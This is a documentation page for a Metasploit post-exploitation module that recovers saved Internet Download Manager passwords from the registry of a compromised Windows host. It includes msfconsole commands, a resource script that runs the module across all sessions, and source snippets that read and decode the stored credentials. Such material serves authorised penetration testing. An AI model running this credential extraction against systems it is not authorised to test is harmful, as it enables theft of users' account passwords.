Windows Gather Internet Download Manager (IDM) Password Extractor - Metasploit


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Module Overview

Name: Windows Gather Internet Download Manager (IDM) Password Extractor
Module: post/windows/gather/credentials/idm
Source code: modules/post/windows/gather/credentials/idm.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module recovers the saved premium download account passwords from Internet Download Manager (IDM). These passwords are stored in an encoded format in the registry. This module traverses through these registry entries and decodes them. Thanks to the template code of theLightCosine's CoreFTP password module.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/idm

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/idm
msf post(idm) > show options
    ... show and set options ...
msf post(idm) > set SESSION session-id
msf post(idm) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/idm")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the windows/gather/credentials/idm post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/credentials/idm

msf6 post(windows/gather/credentials/idm) > show info

       Name: Windows Gather Internet Download Manager (IDM) Password Extractor
     Module: post/windows/gather/credentials/idm
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  sil3ntdre4m <[email protected]>
  Unknown

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module recovers the saved premium download account passwords 
  from Internet Download Manager (IDM). These passwords are stored in 
  an encoded format in the registry. This module traverses through 
  these registry entries and decodes them. Thanks to the template code 
  of theLightCosine's CoreFTP password module.

Module Options

This is a complete list of options available in the windows/gather/credentials/idm post exploitation module:

msf6 post(windows/gather/credentials/idm) > show options

Module options (post/windows/gather/credentials/idm):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/credentials/idm post exploitation module:

msf6 post(windows/gather/credentials/idm) > show advanced

Module advanced options (post/windows/gather/credentials/idm):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/credentials/idm module can do:

msf6 post(windows/gather/credentials/idm) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/credentials/idm post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/credentials/idm) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

IDM not installed for this user.

Here is a relevant code snippet related to the "IDM not installed for this user." error message:

48:	      print_status("Looking at Key #{k}")
49:	
50:	      begin
51:	        subkeys = registry_enumkeys("HKU\\#{k}\\Software\\DownloadManager\\Passwords\\")
52:	        if subkeys.nil? or subkeys.empty?
53:	          print_status("IDM not installed for this user.")
54:	          return
55:	        end
56:	
57:	        subkeys.each do |site|
58:	          user = registry_getvaldata("HKU\\#{k}\\Software\\DownloadManager\\Passwords\\#{site}", "User")

An error has occurred: <E.TO_S>

Here is a relevant code snippet related to the "An error has occurred: <E.TO_S>" error message:

73:	          'Internet Download Manager User Credentials'
74:	        )
75:	        print_good("IDM user credentials saved in: #{path}")
76:	
77:	      rescue ::Exception => e
78:	        print_error("An error has occurred: #{e.to_s}")
79:	      end
80:	
81:	    end
82:	  end
83:

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See Also

Check also the following modules related to this module:

Authors

  • sil3ntdre4m <sil3ntdre4m[at]gmail.com>
  • Unknown

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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